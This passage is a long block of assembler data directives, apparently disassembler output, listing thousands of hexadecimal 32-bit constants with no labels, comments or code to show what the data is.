		dd 0CEB6293Ch, 818CFFB4h, 0A08E3F1Fh, 0FC6C556h, 88E7DF3Dh
		dd 0C242639Ch, 0D5DAAD1Bh, 87E4CF2Eh, 348B29BEh, 0E183AE21h
		dd 1A0672A4h, 5917C34h,	4CCC12F5h, 0AE47D0CDh, 684F1C15h
		dd 0CF5B3A2Ch, 2F3ABA9Eh, 7F2DBF1Fh, 3AB2BDB2h,	0D46AE977h
		dd 0E2EF4285h, 0A61FDF61h, 5353CFADh, 96A55B47h, 6E04B5BAh
		dd 4AA86B80h, 0E9D1370Ah, 6BD32E4Bh, 0DC654584h, 0FF9827F8h
		dd 954608EEh, 106F496Fh, 0AD4E277Ah, 0A92CCB09h, 8E601980h
		dd 78C1509h, 185E9D97h,	0F50D53D2h, 0C7FA1857h,	78327ED0h
		dd 814A6780h, 0C97CCDA1h, 99AF31B9h, 8C7CD66Fh,	0F5F45918h
		dd 521F28E6h, 4ADAC02Dh, 0D66ADAE1h, 2BE5BB42h,	0BB4580F1h
		dd 16440F1h, 5518A06Bh,	7F652310h, 4A4E451Fh, 0B0340FF2h
		dd 1C8340h, 654307F7h, 0FF1EB782h, 6B1B35AEh, 0CDAAB806h
		dd 0B6CFF28h, 6534C3B8h, 0BEAAA572h, 6D5ABA7Eh,	0F2D69D2h
		dd 0BB8ACDDDh, 33A9853Dh, 39AB7DD1h, 86E86E53h,	0AAD9967h
		dd 24414E6Ah, 4575AC81h, 26A99609h, 9072ADC8h, 24952BEBh
		dd 0D84F8CCCh, 524D2164h, 0DAEACC94h, 8D454401h, 0FB6BF098h
		dd 0D334EF14h, 0ECC06E41h, 0A5759369h, 8DCCA35Ch, 0AD792E02h
		dd 0D543BC54h, 12A41C55h, 18684177h, 7886C8FCh,	9D7F5224h
		dd 21F3F7D9h, 79FFF63Dh, 745020F5h, 98DC8A9Ch, 0ED0E10FFh
		dd 98E4F62Ah, 5700D2E7h, 1B05C841h, 2035C571h, 0F732CA14h
		dd 6A9765BDh, 0B43E1415h, 26B6CFDFh, 66A10A7Ah,	0DE5CDF96h
		dd 86586C1Bh, 7C8938ACh, 5B981F5h, 2970EB8Eh, 7F50B512h
		dd 5092B49h, 3F442C39h,	60D52298h, 1D7A8843h, 2525BE17h
		dd 0DE6FEEB6h, 3080B841h, 0F098291Fh, 1C280AA8h, 0FEDCCD7h
		dd 3D410C84h, 8566C889h, 0DE992689h, 37F291CBh,	0ECDAD833h
		dd 2A404255h, 0CAB273DFh, 5B3C104Ch, 9BBA52CDh,	2B36C8AFh
		dd 24EC1AA3h, 86661179h, 0D836DD05h, 3BD90316h,	0D4C5D145h
		dd 1E8BA4EFh, 0C356AD6Dh, 0BA658B6Ah, 0BD14062Dh, 0EEC62E9Ch
		dd 23175B37h, 38994CCAh, 0B56E73E3h, 0E0548001h, 428706BDh
		dd 0E4DF0CDAh, 379AD190h, 91423A89h, 0AA56C949h, 27E572A0h
		dd 891CC036h, 2AED846Bh, 0B0CDB80Fh, 580E2344h,	6DE25BE7h
		dd 8857F985h, 554B800Ch, 0CD3BD33Eh, 0D7FB39Fh,	64AA9B2Ah
		dd 0D9076BA4h, 0F214FC48h, 3A9A65D1h, 840D2C81h, 0F9A72BDFh
		dd 20035B2Ch, 0E624C6AFh, 8F651FD4h, 15B3E1F4h,	0D66115CAh
		dd 337DA8AEh, 0A7AC3745h, 65C27D3Ah, 61DA0C47h,	0C4A92171h
		dd 23F6E35Ch, 0B7C0F20Ch, 4431147Bh, 70493569h,	0B866BDABh
		dd 0E26B446Dh, 960B46D5h, 0D3B9F5D3h, 0DF0DB1CFh, 0E52FD83Ch
		dd 8F11865Dh, 5E85F25Ah, 84D6BE3Eh, 2A4BBD2Ah, 97F9A72Eh
		dd 3DDC318Ah, 7005DCDBh, 5237D36Bh, 4BFA6B5Eh, 0AFB6EF7Ch
		dd 5CF4352Eh, 20C5E6F5h, 81555793h, 81122EF3h, 0F6057618h
		dd 0B749E78Dh, 17AAC2BAh, 0A976EEF2h, 0A2CF3CEDh, 0FCF7034h
		dd 0EC664DD3h, 279DE50Ch, 6CCD2B9h, 99C7151Ah, 0DD97CC30h
		dd 0F208AA7Dh, 0DAC5A0A8h, 7DE2B875h, 0AB56E77Fh, 0DE547632h
		dd 0B671B12Bh, 0ED3D76CEh, 8FFF46A5h, 7D84E4C0h, 18E91E00h
		dd 0B30C75DEh, 28A8BB47h, 6B823B8Ah, 0AD8E2A37h, 1CE16FE3h
		dd 0B5D1698h, 372DF5BCh, 23255CB2h, 0E424597Fh,	1C2E048Ah
		dd 65567608h, 1A25116Bh, 0E055423Eh, 0F0D3E020h, 9A28A5C2h
		dd 3CE8314Fh, 51930A75h, 5BA82DDDh, 0A963DC3h, 37D31C1Fh
		dd 0F4A4F3DBh, 0E7DA122Ch, 65086105h, 0DCB114A8h, 0E27702D8h
		dd 4B883911h, 0C2042BEEh, 3F5FA921h, 0F7856915h, 137F290Ah
		dd 0FBD50F0Bh, 0B49280B0h, 0CC497B1Fh, 5534D22Fh, 0F02596Ch
		dd 7BBEDC7Dh, 60F459D0h, 3354B84Dh, 671BF794h, 0CA2DB00Ch
		dd 5766E7DDh, 30D1D2D8h, 50BD051Eh, 492E936Fh, 0CFEA684Eh
		dd 43A6E1B4h, 5E02C4Dh,	39138AE7h, 18D49B7Ch, 7D16B752h
		dd 0F237DA1h, 0BE09529Dh, 0BA60DC3Bh, 23A1AF42h, 6CDD608Fh
		dd 0DB6724ACh, 3AD71E29h, 7AB92C31h, 0AD6A711Bh, 0E900E78Fh
		dd 3FB15AA7h, 2463BF90h, 312F64BBh, 0D88CFB77h,	0FD94E4Fh
		dd 31742B7Bh, 8DB195D2h, 0AA0A2EDBh, 34026CB9h,	926E1C24h
		dd 3600CDE8h, 578DD15h,	8C9E81A6h, 2162A12Bh, 4CFBBAC3h
		dd 4E609517h, 0A179358Ah, 3466227Ch, 9AA0396Fh,	76E90193h
		dd 0AA3917DBh, 0F02B7338h, 0B601E20Eh, 9825E4EDh, 0B1C36680h
		dd 591A84F0h, 9A9E463Ah, 0A4157F37h, 8A44E020h,	0D77D579Ah
		dd 63433806h, 0C8D63D82h, 2A1BB719h, 919B2F1Eh,	0A70147EAh
		dd 377C6EE9h, 0CC681A48h, 3CADF19Ch, 0C1521E9Fh, 3646554Bh
		dd 0D374623Fh, 62541D1h, 56AECA00h, 4937160Ch, 8122C29Ch
		dd 1F57235Fh, 20A40E9Bh, 0C787F6E1h, 6003DA07h,	0A6DFDCC7h
		dd 0A974537h, 73C745F7h, 0AB4F0351h, 39331DF3h,	40D3A78h
		dd 975252EFh, 0CF756CD5h, 5DC47740h, 16D43031h,	6769D247h
		dd 0E8C8DAA2h, 4BA531F0h
		dd 389191B6h, 9D292E99h, 6677AAEBh, 0D80BCE65h,	9D34C8DAh
		dd 86358147h, 0CDACF9A4h, 0E2B3F4E1h, 0CE820568h, 0D7B5D2E2h
		dd 0E0DCC0D7h, 1C635DABh, 0D0DD0503h, 5F6C75DBh, 4C39F181h
		dd 1AD638DCh, 572762A4h, 0D6451E43h, 74E4CB49h,	0C5997DE8h
		dd 0CB7E9205h, 19A1B5AFh, 0FD6649Fh, 6F66492Dh,	4A76B1AEh
		dd 0BA704D45h, 0AE393C3Ch, 0ADF43ECh, 2B261C68h, 93A08426h
		dd 78566FAh, 0DFE7E455h, 5E0C0D2Fh, 0A56664C0h,	7C56B4Ch
		dd 776D0154h, 0FA40FE0h, 0EBF3A011h, 0FEC47066h, 0F4014AF0h
		dd 1E04ECB4h, 0D0DE08A2h, 67FA8731h, 0CB449FAAh, 87BA4FEBh
		dd 7D781B10h, 6C3AE899h, 0AE382F6Eh, 6977EB3Bh,	525DFA13h
		dd 7D8BAD8h, 6366FA24h,	0ACB99826h, 3157CCB8h, 0CBEC07A5h
		dd 2609F6C6h, 45C9014Bh, 5A38EBEBh, 37BFBBBBh, 6A52956Ah
		dd 8CDC3B66h, 0FE8BA62Ah, 982DBFDFh, 6D7FFCCAh,	0A9F6FF76h
		dd 0CD1EB82Eh, 7FBD27Ch, 5788D7F3h, 946903E9h, 617F68EDh
		dd 6A61618Ch, 880BF3A6h, 657C2E9Bh, 89E6F538h, 2E49F14Ch
		dd 697E1437h, 45A31E17h, 79AC8B13h, 47074C0Bh, 0E35F3C78h
		dd 8836D3FEh, 0D1CBE6h,	85F50178h, 5912D9CBh, 0E6004248h
		dd 7966FF3Ah, 0F1D3C404h, 0A4CD5B82h, 0AF078C68h, 0C4C5484Ah
		dd 2F2F55CDh, 0FEB02C77h, 456FF375h, 654B0736h,	0C35DC6Ch
		dd 9477A26Bh, 0D0F9844Eh, 100B424h, 0EA3973Eh, 0A0111E06h
		dd 0D74488D3h, 0D7F0321h, 0B7DD22E8h, 670B1FC6h, 4E914955h
		dd 0F70EE17Dh, 0B0138DA9h, 0ED8CEDDBh, 0CCA2D85Dh, 3CC86B58h
		dd 90804472h, 92C0587Ch, 2BB4257Dh, 0AD111E80h,	1267B1A3h
		dd 7403D34Eh, 90E02FAAh, 5D946C4Ah, 1C1FA9F2h, 345ABDE5h
		dd 33B6BE6Dh, 3982B3CAh, 158751Fh, 5DAAAC30h, 46508E4Fh
		dd 104DFA1Bh, 0B97EBA3Ah, 0B36CDCBCh, 0BD6C8635h, 0E0303958h
		dd 0D2FCA233h, 352A1574h, 284E7EEBh, 0FC8D3D11h, 823D6591h
		dd 0C16A108Eh, 6E76F3F7h, 49CD3A6Fh, 7A2FBDA4h,	0B2EC4D2Bh
		dd 0EDD22CB9h, 78B55A75h, 87720A66h, 78D134D4h,	9FD6A345h
		dd 54938898h, 0E0BB6A85h, 0E52FFE9Bh, 61BA1157h, 5A33ACAFh
		dd 0E135D411h, 0FEED82C3h, 9A916888h, 8418B3AEh, 8285D5B2h
		dd 0B215C389h, 0F8CEB7B6h, 2092E2D0h, 0B06E16C2h, 44800B35h
		dd 104D6D6Eh, 212C1288h, 0F0484789h, 78D4CA2Dh,	0FA2F894Ch
		dd 26229844h, 0D0F70FAEh, 0A98E49AAh, 0DA2F9579h, 5F52BE60h
		dd 19A96762h, 0C08CB15Fh, 0CF9854B8h, 369B527Bh, 964A832Eh
		dd 0DEF5FB96h, 0D402E494h, 0A275B461h, 57BCAC4Eh, 0AC3E8DBDh
		dd 970ABA0Bh, 0BF025769h, 90B91459h, 9FEF7D14h,	252925F8h
		dd 0E8601B4Fh, 0BC5BEE2Dh, 0AEF3ACAEh, 0C6585487h, 173B50F1h
		dd 0B921C958h, 0C2606F1Ah, 0F9FBD108h, 3E2682F3h, 8A38AC0Fh
		dd 2C227B3Ch, 4EEBBA88h, 34D2859Fh, 0A5C212B1h,	0FC3E6665h
		dd 0D645A85Fh, 0E7CF4A11h, 61599FC7h, 0C16263F9h, 9B8D1E18h
		dd 0D82FBEEh, 0B4B0B518h, 6EFCBC00h, 758850F5h,	14BF71ABh
		dd 0DCFECF27h, 0BC37E036h, 2BD8970Fh, 1E3F8C88h, 7AE1A66Dh
		dd 0AE43E693h, 945FA3FFh, 0F86EA8DEh, 34DFE95Eh, 0FC60C420h
		dd 5A5E6C20h, 57C8C4E5h, 338E90FBh, 3F146B8Eh, 0CB1210FFh
		dd 9D53F49Eh, 60B1BF4Bh, 9D720633h, 0DB02452Fh,	36CD383Dh
		dd 6E9DD5AAh, 413A1971h, 963F83E4h, 0EEE6C35Fh,	60F2BFCCh
		dd 0E4A38741h, 1562D226h, 43D0C2C2h, 0B44D9B8Ch, 0B9D3688h
		dd 0A27A2460h, 0A33C519Dh, 765203A7h, 0E420581h, 0F747A085h
		dd 0A4FFDA9Ch, 0D975CECEh, 0B76ACAAEh, 0D7AB79FAh, 0D1EF6D15h
		dd 0AC964793h, 3D940894h, 0AF257F2h, 3D5BE408h,	9491D274h
		dd 0BF5B46ACh, 0E2C25C33h, 6CA98F6h, 978A3804h,	67617CFFh
		dd 73D11AB6h, 5C30EFA4h, 27F068CBh, 0AF17997h, 8A5DA7C3h
		dd 0D5B873DFh, 8DACE012h, 0A1BF0787h, 3EBC2771h, 0DF573014h
		dd 15AF3A88h, 30FFB66Ch, 0F2971CEBh, 3009E3BBh,	0D82F7589h
		dd 0E25C7699h, 161BE9CEh, 0FE975B7h, 3E621Ah, 20DB6B5Eh
		dd 0BFB99424h, 0ADAEB1B7h, 0FC8B3B60h, 0D808C5E4h, 15909FBEh
		dd 34E030h, 223D2EE1h, 0D4181910h, 53E3A93Ah, 75E3F8C7h
		dd 0B2052D22h, 0F9D4898Ch, 2D8FBF55h, 6C2ED342h, 75442282h
		dd 50DCBC9Fh, 9472C7C3h, 61397FCDh, 83317249h, 896EEDA8h
		dd 0F9568774h, 7774F99Ah, 51BBFDA2h, 0D1ACA4BEh, 0A3EED8A0h
		dd 36FEACC6h, 97AD2C6Ch, 0FCF91D4Ch, 71397C55h,	0C2B44854h
		dd 9A756472h, 0F676AF5h, 0B74BB350h, 490FCC5Ch,	0CCE41282h
		dd 0EEBBD3DEh, 2EF768FCh, 3D8C8227h, 0D36EC98Dh, 4B510145h
		dd 0D1208B28h, 876DBAE5h, 6DD087D0h, 6C9B42FDh,	7C3AF48Ch
		dd 7D8BC386h, 0BB6752EDh, 0C5C3D13Ch, 0B7ECDCC8h, 0C960C5C5h
		dd 0BEB49BBDh, 0A878FF7Bh, 0CD39A61Fh, 63D91B6h, 0B0B894CDh
		dd 2532F9DDh, 3536C1F0h, 3B1153FFh, 0B7B582C1h,	0F711A0B2h
		dd 757B96C7h, 0D8128B03h, 6057874Bh, 0DCB6D80Ah, 3A56ABCFh
		dd 3743AF1Dh, 8EBE5912h, 441331BFh, 0E6CDE57Bh,	0B585C65Ch
		dd 1B5CA52Dh, 5DE3094Dh, 0BD8F706Fh, 0F44C513h,	0B5934B9Ah
		dd 0FABAD1A7h, 88F01F79h, 10C9816Eh, 48FF3391h,	15210427h
		dd 4D6BA0B0h, 9FE1451Eh, 0AA32F137h, 0A3A13CE2h, 9B705DE6h
		dd 44A4FC2Bh, 87C4BE76h, 8AD24EB5h, 0FEF6B2B6h,	96476648h
		dd 0F2291347h, 972D7E83h, 74578F71h, 3B6FA196h,	23DC4EF2h
		dd 67F8CE86h, 0FD5818B6h, 56A3A1A9h, 0F13B69D6h, 8CE24BFCh
		dd 5070C836h, 562D6DC3h, 8507FAB0h, 7A494B62h, 0ED3CBACDh
		dd 9BE37E86h, 13BF5C26h, 0EDB0966Dh, 4F429CD4h,	2401DF27h
		dd 99076940h, 0E15691EDh, 49693B9Fh, 4D403197h,	9C08E691h
		dd 0AD0FAB9Eh, 7082B8AEh, 4B78A840h, 449458AAh,	0C7AA7E3Eh
		dd 0C099C5E8h, 88CB9634h, 0D1CB68D5h, 0B3765F7Ch, 0F279962h
		dd 7A53B69Dh, 0EE518DC1h, 0FB4804CEh, 0ABD3B926h, 0EF72BD8Ch
		dd 0E3A5FA43h, 77ACAD57h, 406FF93Ah, 4EEEE0A3h,	3329B539h
		dd 0BCE8A047h, 777944EEh, 95F2490Ch, 0C5D3B499h, 0BFBF0FECh
		dd 631E0785h, 2B21F7DEh, 92AF11E6h, 61BCB3B1h, 9FCDB839h
		dd 81356CEEh, 0E0767925h, 3113FDDDh, 0C1C97E03h, 621E9223h
		dd 234C51A3h, 0F1EE676Bh, 8DD92C9Ah, 10B7EB3Eh,	0D5F6C1C1h
		dd 0E954DDAEh, 19B8BE43h, 0F9F32A1Ah, 615A9FF2h, 63D579FDh
		dd 65F2960Bh, 0F2C5D1A6h, 362EE32Eh, 0A0EA4E0Bh, 0D857D744h
		dd 62818062h, 0D103AE16h, 97A3FBF1h, 1D8CFBEFh,	34995FAFh
		dd 431991C2h, 30DB146Eh, 9D1927E2h, 0C67D2D91h,	0E9825032h
		dd 87757A02h, 72984BA6h, 99F1ABDCh, 69606BBCh, 0EFA24192h
		dd 0F0A122FCh, 4075A0D7h, 0AFCDB204h, 19C694FBh, 73F9FDA7h
		dd 0E66F3174h, 0BE875949h, 23E462D9h, 0BEDAA372h, 7DA8A508h
		dd 0BA7FB8C1h, 35B17A3Ch, 0F75B45D3h, 2B625548h, 45A7294Eh
		dd 58090C2h, 21F656D9h,	9FE36185h, 0DDFFD08Fh, 1D8C9C0h
		dd 0D0B0B06Ah, 0A9DEC656h, 63D8958Bh, 7BEFBB4Eh, 0E3A01116h
		dd 0C16A2C6Ch, 536E9373h, 0B92C664Fh, 1E1AAE70h, 0D54E409Ch
		dd 67F62870h, 43C4904Ah, 67A6DEBAh, 72C6B735h, 39849F39h
		dd 0A02D9F97h, 0C8BCA167h, 42B895D7h, 9B773879h, 70DA8649h
		dd 0A9532CE8h, 0E53AD1DFh, 62EF06D8h, 0E2AC6BADh, 35FCB148h
		dd 0DAABB6CFh, 0EB640E79h, 52E0033Eh, 34EAD944h, 0B8AA8AB0h
		dd 0DF5C4DA5h, 5EA119D3h
		dd 9BDAF95Ch, 0A9B5CA21h, 4571F72h, 0E3C3CB5Eh,	67E31CE4h
		dd 0D98AB654h, 0B67F43F9h, 5F122958h, 839FB4C1h, 417F2F2Dh
		dd 0B349B657h, 9892DA8Eh, 30A0F7B4h, 512936E0h,	0E1746E91h
		dd 534DB504h, 78303327h, 721DD643h, 30B0589Ch, 7BAD1C59h
		dd 0F09DA4AAh, 9348EAB8h, 270AEF9h, 2358591Bh, 979436Dh
		dd 5CF9F116h, 0F02708A1h, 6D3FA3C6h, 0EDBBAF6Fh, 671E2801h
		dd 0B71A8B5Dh, 0C0B1EDD2h, 883375DEh, 992EEC5h,	41B779BEh
		dd 5B250CC0h, 620C7891h, 84166927h, 0A5AEE308h,	95CA2ACEh
		dd 0E972966Fh, 9038A069h, 686FAF41h, 5DB68292h,	6191AC87h
		dd 0BB1A8256h, 0FCE83F6Bh, 35FDAC5Dh, 7F48050Ch, 1829E430h
		dd 4720AA09h, 0E53B6EC8h, 4ADA0909h, 0CF643299h, 9685F505h
		dd 0C7EAD19Ch, 6976D031h, 68FA2B48h, 70120ECCh,	2728DAEFh
		dd 0E3B2FB05h, 0C34679D0h, 0C0928559h, 8EA27159h, 6FC2C1BCh
		dd 935FA378h, 0DF083D9Bh, 0BFBF2146h, 0A49D4799h, 25B1127Ch
		dd 6627B702h, 0B39C4B6Fh, 61FFB14h, 24BD2524h, 0EFBC026Dh
		dd 4F253220h, 5AB0A752h, 55241863h, 0C664C21Fh,	0CF90CBA9h
		dd 0E8F4E72Dh, 228CA3DBh, 0F53494CEh, 0BDA76914h, 4D1DF04Eh
		dd 853EA2A8h, 0DF2D986Bh, 0F9419h, 492B6B95h, 0E63958D1h
		dd 8DA258BDh, 86B48AA0h, 36640469h, 0D9F36AA2h,	6B077366h
		dd 38BDED9Dh, 6D2E9129h, 7F291868h, 3F88EADFh, 0C5CEB164h
		dd 0F2BA7F45h, 547990h,	7702F7BFh, 0AE84E586h, 697201ABh
		dd 6FADCC22h, 65696A6Ch, 860DE7E9h, 25D7E19Ah, 518BE634h
		dd 0E29CA76Ch, 172E93F4h, 35DA50FEh, 3A7D08F9h,	0FD1E39D3h
		dd 53AE152Eh, 811D6363h, 0E24B94DBh, 0D5D89DDFh, 0B5930116h
		dd 0D7BD08D4h, 67CCBC5h, 0D99CC0B1h, 137A72A9h,	0F295916Ah
		dd 9C513C1Bh, 60028735h, 0CCFCEF3h, 44D49431h, 0A0C2581Fh
		dd 0D1572803h, 6F5E9A07h, 164B5AEEh, 0DC2934CEh, 0CE6A76DEh
		dd 1C5D4CF0h, 71299E76h, 8C9D268Ch, 5475545Dh, 0E12CFBAFh
		dd 2C293CA2h, 0A4600D61h, 35127016h, 0D629EE0h,	99CC62F4h
		dd 22FCC23Ah, 0EEAC787Fh, 89A53761h, 0E5BEAFA5h, 939D88D5h
		dd 76605554h, 0E0A46E05h, 467D56ACh, 0C238565Ah, 0B0F4A5CAh
		dd 0E1A8809Ah, 127CA4DEh, 7A87D9F6h, 86853366h,	0E567C554h
		dd 46C293Bh, 9CF29514h,	0FD0DA157h, 81AF8C9Ch, 1320069h
		dd 0DDD0E054h, 0AF910527h, 1EE8CCBCh, 400ADB54h, 78299F49h
		dd 6A27B35Fh, 41DAACC4h, 7D6AC2FFh, 0AF0B8398h,	0EBAA8AB3h
		dd 3BAA52B0h, 0E91C2B42h, 1C949A6Bh, 4FF73E67h,	0D576F5BDh
		dd 143E9D66h, 0D572B129h, 0DEF64F22h, 0ECED1151h, 0DE432E1Eh
		dd 3A93F7D2h, 506C3CA5h, 1CAD653h, 98BF0E2Dh, 0E512FCB1h
		dd 540D3212h, 52F9CAD2h, 4C8C6463h, 0C89B69D9h,	4FD3753Eh
		dd 3A48EA91h, 90638562h, 0D0BE2C5Bh, 0E6D13315h, 0CD0F36F8h
		dd 0A406F969h, 0BCC3615Bh, 0E151FC1h, 0E99C2FB1h, 0E9A5F743h
		dd 72B70E1Ah, 0E33922FFh, 1A5AA27Eh, 83F93B3Ah,	5F5C3369h
		dd 2751E062h, 0E3B3FFD1h, 0AFEECA89h, 0BEF1DFh,	4F140A4Bh
		dd 799A1B56h, 79C6F1C8h, 84FFB02Bh, 0F7D94501h,	146B2EDh
		dd 0BAE997CBh, 8E6BF680h, 0B363F62Dh, 0F1C392DFh, 5DCDCDB6h
		dd 0D6D92FFCh, 0F052DE9Eh, 0E30B0856h, 0E2B5D627h, 953EEECBh
		dd 2FBD623Ah, 65F7D163h, 0A08C0E41h, 0AF29DC50h, 0C86F9550h
		dd 0C8AE605Fh, 1E113FE9h, 0BCD7B8A0h, 0E20AD087h, 0C7917549h
		dd 544D80BBh, 0B8424852h, 965AD734h, 3841AAEh, 0CDA2408Eh
		dd 5B23BF44h, 5FF1AA54h, 35ED432Eh, 0F176C174h,	449BBDE4h
		dd 5173CE6Fh, 0ED4155B0h, 93FD8557h, 221A1FE1h,	0D80AC35Ah
		dd 0E1901046h, 53BAED81h, 28ABF3C3h, 61BB9CBBh,	448F6F9h
		dd 1A7B7746h, 9CA89B14h, 100860E0h, 984F544h, 11A54917h
		dd 0B69FA94Fh, 4E032F08h, 0A3CD2D80h, 0F5353931h, 124059F3h
		dd 0C15E958Dh, 9D7C90C3h, 82407EA7h, 6EFCD815h,	0A72DA9Ah
		dd 4F974EE0h, 0E5286DD6h, 1796F282h, 0C9050488h, 3F74B550h
		dd 0DD328174h, 6819B8B3h, 0A934E2BDh, 5BED9BE4h, 866ED4E1h
		dd 78DF1DF3h, 3869592Bh, 83B7EBB8h, 606FEC92h, 97C34829h
		dd 0F543B5EDh, 0C49B3C2Ch, 0F848CD40h, 0B95B6348h, 9EDABB4Ch
		dd 97F6C61Ch, 4F37ECDCh, 0A03A7DA2h, 8CC89182h,	7F3CFD4h
		dd 0AFBB42B1h, 10DAE280h, 8BEB4EC7h, 0E0FD3BA8h, 0DCBF421Ah
		dd 21834E2Eh, 1A5E8996h, 0EAFA20Ah, 9BD91691h, 235B9890h
		dd 647C7972h, 659393F6h, 95005ACEh, 86574850h, 81D6B8C2h
		dd 43520F43h, 664BD3E9h, 0B8FE1F7Ah, 0A43620C8h, 4E88A86h
		dd 6CA601D5h, 0B7AE4E96h, 8A95B11Bh, 2BE3C6E5h,	4395A5B5h
		dd 2657294Dh, 7F6BA747h, 0F7225B36h, 988215ACh,	6A5B926Bh
		dd 27FCCCB5h, 884FFBC1h, 6D508DFCh, 0D6001BF2h,	0A9842329h
		dd 0FB161FC0h, 8F7D149Fh, 12E49439h, 3209E3BCh,	0F83A21ECh
		dd 0E82FB157h, 655D20Bh, 0E747DE78h, 1F2C535Dh,	3878FEACh
		dd 0DD0470AFh, 5C9666B3h, 0A9D3AA87h, 2BDC12BCh, 3B434D92h
		dd 0C5DC9157h, 9F853CAh, 0F174801Ch, 0CBE5307Fh, 8BB3F662h
		dd 961C9688h, 0EDBB191Dh, 84FCEA86h, 11357269h,	2A01C9E9h
		dd 0DBB4FF2Ch, 0E622AF22h, 762827D6h, 0CB9085E7h, 0B26FA112h
		dd 0AA93E6A8h, 929C4A73h, 0C88F746Dh, 9979CFCAh, 9FA9B32h
		dd 35AADE13h, 24AFE37Bh, 0D7286146h, 58111C96h,	31D47F2Dh
		dd 0DF0E4445h, 0A8738B09h, 69A88702h, 4062D272h, 1AE90248h
		dd 93997F54h, 25AD8C67h, 7604D1CAh, 27136D47h, 368D4FFAh
		dd 5153785Ch, 4E21962Ch, 53620176h, 0A1824F4Ah,	0B637A6A4h
		dd 52B66C12h, 83985AB4h, 0CEF0E76Bh, 85B56298h,	0E9E5C4BCh
		dd 0A80F2D5Ah, 8D29EE16h, 8270495Ch, 0D072478Ch, 0A0BD42DDh
		dd 54021ADBh, 0DCA887B6h, 40BFE5C2h, 0C33085DBh, 21C03D73h
		dd 5F387425h, 0C33E19F2h, 8923F4A0h, 0A45A267Bh, 7EFECDF6h
		dd 4BCC5E4Fh, 71579463h, 2F833C2Dh, 6CC90418h, 0E9F6B861h
		dd 0E4940C65h, 446A8639h, 721571CAh, 76C79FDBh,	7D021CECh
		dd 9564180Ch, 0ECCA8CB3h, 485C7B15h, 986D5833h,	322E53DCh
		dd 2B100F5Dh, 5FF1896Eh, 7EABF1D2h, 3D43AFD4h, 0BC411646h
		dd 497D81DBh, 0BD3A7761h, 0E2A51BDCh, 29A9E534h, 0FD87CECh
		dd 25CCA675h, 5E799A62h, 5E14E97h, 2A8B10FFh, 0ED9EF074h
		dd 0DAA536FAh, 9045B883h, 2A512EABh, 56A672C5h,	85A85480h
		dd 2D7F50D5h, 0B4A7C060h, 0C76B7C1Dh, 0CA3FC1Bh, 1FAC1389h
		dd 3570333Eh, 0BF744BEEh, 495BFC4Ah, 0D6AC0F68h, 0A2AD65BEh
		dd 25D60BF2h, 3F2FC807h, 2A7505E7h, 0FE029680h,	0CE1F5663h
		dd 981C04BDh, 0BB4583C3h, 46C4ECAh, 0A54840FCh,	4EFD56E0h
		dd 0F148A7C9h, 23D8D96Bh, 0A1E29746h, 3EFBBE16h, 0D9E8BD39h
		dd 0AF34B575h, 225DDD0Ah, 3EF19EE5h, 18E46B93h,	0A3D0C2F5h
		dd 0CED5FA12h, 7043B5AFh, 5BD4EEE8h, 9FBD5AADh,	0C290177h
		dd 0C8F9E6B6h, 1F8B8584h, 0A4EB737Ch, 21BAE604h, 0A2231B19h
		dd 95589498h, 3ABF75CFh, 0A86038A7h, 2C407D9Dh,	5A9AA1A6h
		dd 0DA74912Ch, 25C23196h, 0CB97A54Ah, 0C931976Ch, 94FF6DD7h
		dd 0C185FD8Fh, 0EE4DFD0Dh, 0DE480D23h, 0D7D78263h, 0A4111203h
		dd 5083BB0Ah, 6E4EA5B7h, 2A24B49Ah, 1F2CD039h, 0B6776261h
		dd 6CCB6A05h, 0B7D4E8A1h, 0D78D6D83h, 0F171B18h, 0DACF9138h
		dd 5D3E85FCh, 487016E2h
		dd 631E06BDh, 3EDA55FBh, 0E18F2DA2h, 34BC5D44h,	0EC0129A7h
		dd 84B2D9E3h, 97346E5Bh, 0B2634FC3h, 0BC7723C5h, 6482AEAAh
		dd 0E3959D0Ah, 764D81B5h, 3CA396B3h, 11EA11DFh,	83DED755h
		dd 0B415B154h, 43F9C48h, 4DF99566h, 0F3CF429Fh,	821BD21Ah
		dd 789A5330h, 8022C0BCh, 87A71DA0h, 38BE3942h, 0D643B57Ch
		dd 64DFE3EFh, 5EA11C0Ch, 7E1E3505h, 33DDEC48h, 24D60EF3h
		dd 0DB16B5Dh, 9CB1FBC5h, 448E3F5Ch, 3001030Eh, 0E2C9654h
		dd 51A6FCAFh, 0FF5C3730h, 7D7A78F3h, 78701F16h,	9C1F458Dh
		dd 0AAFC4A90h, 6FC69101h, 7EA9585Eh, 65DE5A74h,	0C28C14CDh
		dd 865AC8C8h, 48D77296h, 0B08F9403h, 3C9E81B5h,	37A4A1D1h
		dd 7290211h, 8E41553Dh,	0B33A7078h, 7E0B1940h, 0B7E6710Eh
		dd 77A03ABBh, 6E1074F4h, 0B7843D65h, 88CA81EBh,	0FE202D20h
		dd 0B8A0BAFFh, 0FCD4C3EFh, 432EAB52h, 0D72E18ABh, 4DEF3EC0h
		dd 2D680033h, 179A1D8Bh, 6315AE34h, 28C8E848h, 131D55F3h
		dd 31FFA4DCh, 66D05190h, 0E2587D92h, 293522CCh,	0CFA0601Ah
		dd 8D8CA1BAh, 12EB06Ch,	0DD2EA172h, 0EC977DBAh,	0C3FDA56Ah
		dd 0CE1874D1h, 63996F96h, 0CED46C57h, 0BA44CCA6h, 7A311C39h
		dd 2401B661h, 17804E34h, 938D1636h, 305158Eh, 0E57DE15Dh
		dd 45B8FCA6h, 7BD4A4ACh, 0CEC23881h, 0B4DC00CEh, 272889FEh
		dd 0FAA4758Fh, 965B4D2Ch, 6D2F0A8Dh, 0F46AF5A3h, 557CC16Ch
		dd 50F3FF01h, 9D3153D6h, 1FEF860h, 259990DAh, 0CE0A8725h
		dd 0E0A0F040h, 18F25A3Dh, 11F66B08h, 5591ABDCh,	2000685h
		dd 0C6211BA0h, 0CAB20355h, 773838CFh, 37CFEF47h, 3911D461h
		dd 0BD766Fh, 41C3537Fh,	0A23FC8A8h, 0B36F2C0Dh,	2FBE257Ch
		dd 3E784ADBh, 833790C1h, 0EC29EA18h, 9927E366h,	4773E3AAh
		dd 38BF36AFh, 48044AE6h, 0F6AD39F6h, 4D1C32A4h,	93543F1h
		dd 446C5C91h, 8CB7DDDBh, 0AE04750Eh, 0A7FE7531h, 90C4327Fh
		dd 0E216ADC3h, 148318DEh, 63F92392h, 29EEFEB4h,	6218F127h
		dd 0D70A8337h, 0A8C1BF92h, 9E23ABE8h, 2D2DB6DBh, 0D489D61Ch
		dd 71A7D288h, 25071349h, 0BD33FF22h, 688D5595h,	74520351h
